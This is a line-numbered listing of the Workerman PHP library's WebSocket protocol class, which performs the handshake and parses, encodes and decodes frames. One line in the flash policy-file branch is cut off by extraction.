http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Protocols; 15 | 16 | use Workerman\Connection\ConnectionInterface; 17 | use Workerman\Connection\TcpConnection; 18 | use Workerman\Worker; 19 | 20 | /** 21 | * WebSocket protocol. 22 | */ 23 | class Websocket implements \Workerman\Protocols\ProtocolInterface 24 | { 25 | /** 26 | * Websocket blob type. 27 | * 28 | * @var string 29 | */ 30 | const BINARY_TYPE_BLOB = "\x81"; 31 | 32 | /** 33 | * Websocket arraybuffer type. 34 | * 35 | * @var string 36 | */ 37 | const BINARY_TYPE_ARRAYBUFFER = "\x82"; 38 | 39 | /** 40 | * Check the integrity of the package. 41 | * 42 | * @param string $buffer 43 | * @param ConnectionInterface $connection 44 | * @return int 45 | */ 46 | public static function input($buffer, ConnectionInterface $connection) 47 | { 48 | // Receive length. 49 | $recv_len = strlen($buffer); 50 | // We need more data. 51 | if ($recv_len < 6) { 52 | return 0; 53 | } 54 | 55 | // Has not yet completed the handshake. 56 | if (empty($connection->websocketHandshake)) { 57 | return static::dealHandshake($buffer, $connection); 58 | } 59 | 60 | // Buffer websocket frame data. 61 | if ($connection->websocketCurrentFrameLength) { 62 | // We need more frame data. 63 | if ($connection->websocketCurrentFrameLength > $recv_len) { 64 | // Return 0, because it is not clear the full packet length, waiting for the frame of fin=1. 65 | return 0; 66 | } 67 | } else { 68 | $firstbyte = ord($buffer[0]); 69 | $secondbyte = ord($buffer[1]); 70 | $data_len = $secondbyte & 127; 71 | $is_fin_frame = $firstbyte >> 7; 72 | $masked = $secondbyte >> 7; 73 | 74 | if (!$masked) { 75 | echo "frame not masked\n"; 76 | $connection->close(); 77 | return 0; 78 | } 79 | 80 | $opcode = $firstbyte & 0xf; 81 | switch ($opcode) { 82 | case 0x0: 83 | break; 84 | // Blob type. 85 | case 0x1: 86 | break; 87 | // Arraybuffer type. 88 | case 0x2: 89 | break; 90 | // Close package. 91 | case 0x8: 92 | // Try to emit onWebSocketClose callback. 93 | if (isset($connection->onWebSocketClose) || isset($connection->worker->onWebSocketClose)) { 94 | try { 95 | call_user_func(isset($connection->onWebSocketClose)?$connection->onWebSocketClose:$connection->worker->onWebSocketClose, $connection); 96 | } catch (\Exception $e) { 97 | Worker::log($e); 98 | exit(250); 99 | } catch (\Error $e) { 100 | Worker::log($e); 101 | exit(250); 102 | } 103 | } // Close connection. 104 | else { 105 | $connection->close(); 106 | } 107 | return 0; 108 | // Ping package. 109 | case 0x9: 110 | // Try to emit onWebSocketPing callback. 111 | if (isset($connection->onWebSocketPing) || isset($connection->worker->onWebSocketPing)) { 112 | try { 113 | call_user_func(isset($connection->onWebSocketPing)?$connection->onWebSocketPing:$connection->worker->onWebSocketPing, $connection); 114 | } catch (\Exception $e) { 115 | Worker::log($e); 116 | exit(250); 117 | } catch (\Error $e) { 118 | Worker::log($e); 119 | exit(250); 120 | } 121 | } // Send pong package to client. 122 | else { 123 | $connection->send(pack('H*', '8a00'), true); 124 | } 125 | 126 | // Consume data from receive buffer. 127 | if (!$data_len) { 128 | $head_len = 6; 129 | $connection->consumeRecvBuffer($head_len); 130 | if ($recv_len > $head_len) { 131 | return static::input(substr($buffer, $head_len), $connection); 132 | } 133 | return 0; 134 | } 135 | break; 136 | // Pong package. 137 | case 0xa: 138 | // Try to emit onWebSocketPong callback. 139 | if (isset($connection->onWebSocketPong) || isset($connection->worker->onWebSocketPong)) { 140 | try { 141 | call_user_func(isset($connection->onWebSocketPong)?$connection->onWebSocketPong:$connection->worker->onWebSocketPong, $connection); 142 | } catch (\Exception $e) { 143 | Worker::log($e); 144 | exit(250); 145 | } catch (\Error $e) { 146 | Worker::log($e); 147 | exit(250); 148 | } 149 | } 150 | // Consume data from receive buffer. 151 | if (!$data_len) { 152 | $head_len = 6; 153 | $connection->consumeRecvBuffer($head_len); 154 | if ($recv_len > $head_len) { 155 | return static::input(substr($buffer, $head_len), $connection); 156 | } 157 | return 0; 158 | } 159 | break; 160 | // Wrong opcode. 161 | default : 162 | echo "error opcode $opcode and close websocket connection. Buffer:" . bin2hex($buffer) . "\n"; 163 | $connection->close(); 164 | return 0; 165 | } 166 | 167 | // Calculate packet length. 168 | $head_len = 6; 169 | if ($data_len === 126) { 170 | $head_len = 8; 171 | if ($head_len > $recv_len) { 172 | return 0; 173 | } 174 | $pack = unpack('nn/ntotal_len', $buffer); 175 | $data_len = $pack['total_len']; 176 | } else { 177 | if ($data_len === 127) { 178 | $head_len = 14; 179 | if ($head_len > $recv_len) { 180 | return 0; 181 | } 182 | $arr = unpack('n/N2c', $buffer); 183 | $data_len = $arr['c1']*4294967296 + $arr['c2']; 184 | } 185 | } 186 | $current_frame_length = $head_len + $data_len; 187 | 188 | $total_package_size = strlen($connection->websocketDataBuffer) + $current_frame_length; 189 | if ($total_package_size > TcpConnection::$maxPackageSize) { 190 | echo "error package. package_length=$total_package_size\n"; 191 | $connection->close(); 192 | return 0; 193 | } 194 | 195 | if ($is_fin_frame) { 196 | return $current_frame_length; 197 | } else { 198 | $connection->websocketCurrentFrameLength = $current_frame_length; 199 | } 200 | } 201 | 202 | // Received just a frame length data. 203 | if ($connection->websocketCurrentFrameLength === $recv_len) { 204 | static::decode($buffer, $connection); 205 | $connection->consumeRecvBuffer($connection->websocketCurrentFrameLength); 206 | $connection->websocketCurrentFrameLength = 0; 207 | return 0; 208 | } // The length of the received data is greater than the length of a frame. 209 | elseif ($connection->websocketCurrentFrameLength < $recv_len) { 210 | static::decode(substr($buffer, 0, $connection->websocketCurrentFrameLength), $connection); 211 | $connection->consumeRecvBuffer($connection->websocketCurrentFrameLength); 212 | $current_frame_length = $connection->websocketCurrentFrameLength; 213 | $connection->websocketCurrentFrameLength = 0; 214 | // Continue to read next frame. 215 | return static::input(substr($buffer, $current_frame_length), $connection); 216 | } // The length of the received data is less than the length of a frame. 217 | else { 218 | return 0; 219 | } 220 | } 221 | 222 | /** 223 | * Websocket encode. 224 | * 225 | * @param string $buffer 226 | * @param ConnectionInterface $connection 227 | * @return string 228 | */ 229 | public static function encode($buffer, ConnectionInterface $connection) 230 | { 231 | if (!is_scalar($buffer)) { 232 | throw new \Exception("You can't send(" . gettype($buffer) . ") to client, you need to convert it to a string. "); 233 | } 234 | $len = strlen($buffer); 235 | if (empty($connection->websocketType)) { 236 | $connection->websocketType = static::BINARY_TYPE_BLOB; 237 | } 238 | 239 | $first_byte = $connection->websocketType; 240 | 241 | if ($len <= 125) { 242 | $encode_buffer = $first_byte . chr($len) . $buffer; 243 | } else { 244 | if ($len <= 65535) { 245 | $encode_buffer = $first_byte . chr(126) . pack("n", $len) . $buffer; 246 | } else { 247 | $encode_buffer = $first_byte . chr(127) . pack("xxxxN", $len) . $buffer; 248 | } 249 | } 250 | 251 | // Handshake not completed so temporary buffer websocket data waiting for send. 252 | if (empty($connection->websocketHandshake)) { 253 | if (empty($connection->tmpWebsocketData)) { 254 | $connection->tmpWebsocketData = ''; 255 | } 256 | // If buffer has already full then discard the current package. 257 | if (strlen($connection->tmpWebsocketData) > $connection->maxSendBufferSize) { 258 | if ($connection->onError) { 259 | try { 260 | call_user_func($connection->onError, $connection, WORKERMAN_SEND_FAIL, 'send buffer full and drop package'); 261 | } catch (\Exception $e) { 262 | Worker::log($e); 263 | exit(250); 264 | } catch (\Error $e) { 265 | Worker::log($e); 266 | exit(250); 267 | } 268 | } 269 | return ''; 270 | } 271 | $connection->tmpWebsocketData .= $encode_buffer; 272 | // Check buffer is full. 273 | if ($connection->maxSendBufferSize <= strlen($connection->tmpWebsocketData)) { 274 | if ($connection->onBufferFull) { 275 | try { 276 | call_user_func($connection->onBufferFull, $connection); 277 | } catch (\Exception $e) { 278 | Worker::log($e); 279 | exit(250); 280 | } catch (\Error $e) { 281 | Worker::log($e); 282 | exit(250); 283 | } 284 | } 285 | } 286 | 287 | // Return empty string. 288 | return ''; 289 | } 290 | 291 | return $encode_buffer; 292 | } 293 | 294 | /** 295 | * Websocket decode. 296 | * 297 | * @param string $buffer 298 | * @param ConnectionInterface $connection 299 | * @return string 300 | */ 301 | public static function decode($buffer, ConnectionInterface $connection) 302 | { 303 | $masks = $data = $decoded = null; 304 | $len = ord($buffer[1]) & 127; 305 | if ($len === 126) { 306 | $masks = substr($buffer, 4, 4); 307 | $data = substr($buffer, 8); 308 | } else { 309 | if ($len === 127) { 310 | $masks = substr($buffer, 10, 4); 311 | $data = substr($buffer, 14); 312 | } else { 313 | $masks = substr($buffer, 2, 4); 314 | $data = substr($buffer, 6); 315 | } 316 | } 317 | for ($index = 0; $index < strlen($data); $index++) { 318 | $decoded .= $data[$index] ^ $masks[$index % 4]; 319 | } 320 | if ($connection->websocketCurrentFrameLength) { 321 | $connection->websocketDataBuffer .= $decoded; 322 | return $connection->websocketDataBuffer; 323 | } else { 324 | if ($connection->websocketDataBuffer !== '') { 325 | $decoded = $connection->websocketDataBuffer . $decoded; 326 | $connection->websocketDataBuffer = ''; 327 | } 328 | return $decoded; 329 | } 330 | } 331 | 332 | /** 333 | * Websocket handshake. 334 | * 335 | * @param string $buffer 336 | * @param \Workerman\Connection\TcpConnection $connection 337 | * @return int 338 | */ 339 | protected static function dealHandshake($buffer, $connection) 340 | { 341 | // HTTP protocol. 342 | if (0 === strpos($buffer, 'GET')) { 343 | // Find \r\n\r\n. 344 | $heder_end_pos = strpos($buffer, "\r\n\r\n"); 345 | if (!$heder_end_pos) { 346 | return 0; 347 | } 348 | $header_length = $heder_end_pos + 4; 349 | 350 | // Get Sec-WebSocket-Key. 351 | $Sec_WebSocket_Key = ''; 352 | if (preg_match("/Sec-WebSocket-Key: *(.*?)\r\n/i", $buffer, $match)) { 353 | $Sec_WebSocket_Key = $match[1]; 354 | } else { 355 | $connection->send("HTTP/1.1 400 Bad Request\r\n\r\n400 Bad Request
Sec-WebSocket-Key not found.
This is a WebSocket service and can not be accessed via HTTP.
See http://wiki.workerman.net/Error1 for detail.", 356 | true); 357 | $connection->close(); 358 | return 0; 359 | } 360 | // Calculation websocket key. 361 | $new_key = base64_encode(sha1($Sec_WebSocket_Key . "258EAFA5-E914-47DA-95CA-C5AB0DC85B11", true)); 362 | // Handshake response data. 363 | $handshake_message = "HTTP/1.1 101 Switching Protocols\r\n"; 364 | $handshake_message .= "Upgrade: websocket\r\n"; 365 | $handshake_message .= "Sec-WebSocket-Version: 13\r\n"; 366 | $handshake_message .= "Connection: Upgrade\r\n"; 367 | $handshake_message .= "Sec-WebSocket-Accept: " . $new_key . "\r\n"; 368 | 369 | // Websocket data buffer. 370 | $connection->websocketDataBuffer = ''; 371 | // Current websocket frame length. 372 | $connection->websocketCurrentFrameLength = 0; 373 | // Current websocket frame data. 374 | $connection->websocketCurrentFrameBuffer = ''; 375 | // Consume handshake data. 376 | $connection->consumeRecvBuffer($header_length); 377 | 378 | // blob or arraybuffer 379 | if (empty($connection->websocketType)) { 380 | $connection->websocketType = static::BINARY_TYPE_BLOB; 381 | } 382 | 383 | $has_server_header = false; 384 | 385 | // Try to emit onWebSocketConnect callback. 386 | if (isset($connection->onWebSocketConnect) || isset($connection->worker->onWebSocketConnect)) { 387 | static::parseHttpHeader($buffer); 388 | try { 389 | call_user_func(isset($connection->onWebSocketConnect)?$connection->onWebSocketConnect:$connection->worker->onWebSocketConnect, $connection, $buffer); 390 | } catch (\Exception $e) { 391 | Worker::log($e); 392 | exit(250); 393 | } catch (\Error $e) { 394 | Worker::log($e); 395 | exit(250); 396 | } 397 | if (!empty($_SESSION) && class_exists('\GatewayWorker\Lib\Context')) { 398 | $connection->session = \GatewayWorker\Lib\Context::sessionEncode($_SESSION); 399 | } 400 | $_GET = $_SERVER = $_SESSION = $_COOKIE = array(); 401 | 402 | if (isset($connection->headers)) { 403 | if (is_array($connection->headers)) { 404 | foreach ($connection->headers as $header) { 405 | if (strpos($header, 'Server:') === 0) { 406 | $has_server_header = true; 407 | } 408 | $handshake_message .= "$header\r\n"; 409 | } 410 | } else { 411 | $handshake_message .= "$connection->headers\r\n"; 412 | } 413 | } 414 | } 415 | if (!$has_server_header) { 416 | $handshake_message .= "Server: workerman/".Worker::VERSION."\r\n"; 417 | } 418 | $handshake_message .= "\r\n"; 419 | // Send handshake response. 420 | $connection->send($handshake_message, true); 421 | // Mark handshake complete.. 422 | $connection->websocketHandshake = true; 423 | // There are data waiting to be sent. 424 | if (!empty($connection->tmpWebsocketData)) { 425 | $connection->send($connection->tmpWebsocketData, true); 426 | $connection->tmpWebsocketData = ''; 427 | } 428 | if (strlen($buffer) > $header_length) { 429 | return static::input(substr($buffer, $header_length), $connection); 430 | } 431 | return 0; 432 | } // Is flash policy-file-request. 433 | elseif (0 === strpos($buffer, 'send($policy_xml, true); 436 | $connection->consumeRecvBuffer(strlen($buffer)); 437 | return 0; 438 | } 439 | // Bad websocket handshake request. 440 | $connection->send("HTTP/1.1 400 Bad Request\r\n\r\n400 Bad Request
Invalid handshake data for websocket.
See http://wiki.workerman.net/Error1 for detail.", 441 | true); 442 | $connection->close(); 443 | return 0; 444 | } 445 | 446 | /** 447 | * Parse http header. 448 | * 449 | * @param string $buffer 450 | * @return void 451 | */ 452 | protected static function parseHttpHeader($buffer) 453 | { 454 | // Parse headers. 455 | list($http_header, ) = explode("\r\n\r\n", $buffer, 2); 456 | $header_data = explode("\r\n", $http_header); 457 | 458 | if ($_SERVER) { 459 | $_SERVER = array(); 460 | } 461 | 462 | list($_SERVER['REQUEST_METHOD'], $_SERVER['REQUEST_URI'], $_SERVER['SERVER_PROTOCOL']) = explode(' ', 463 | $header_data[0]); 464 | 465 | unset($header_data[0]); 466 | foreach ($header_data as $content) { 467 | // \r\n\r\n 468 | if (empty($content)) { 469 | continue; 470 | } 471 | list($key, $value) = explode(':', $content, 2); 472 | $key = str_replace('-', '_', strtoupper($key)); 473 | $value = trim($value); 474 | $_SERVER['HTTP_' . $key] = $value; 475 | switch ($key) { 476 | // HTTP_HOST 477 | case 'HOST': 478 | $tmp = explode(':', $value); 479 | $_SERVER['SERVER_NAME'] = $tmp[0]; 480 | if (isset($tmp[1])) { 481 | $_SERVER['SERVER_PORT'] = $tmp[1]; 482 | } 483 | break; 484 | // cookie 485 | case 'COOKIE': 486 | parse_str(str_replace('; ', '&', $_SERVER['HTTP_COOKIE']), $_COOKIE); 487 | break; 488 | } 489 | } 490 | 491 | // QUERY_STRING 492 | $_SERVER['QUERY_STRING'] = parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY); 493 | if ($_SERVER['QUERY_STRING']) { 494 | // $GET 495 | parse_str($_SERVER['QUERY_STRING'], $_GET); 496 | } else { 497 | $_SERVER['QUERY_STRING'] = ''; 498 | } 499 | } 500 | } 501 | --------------------------------------------------------------------------------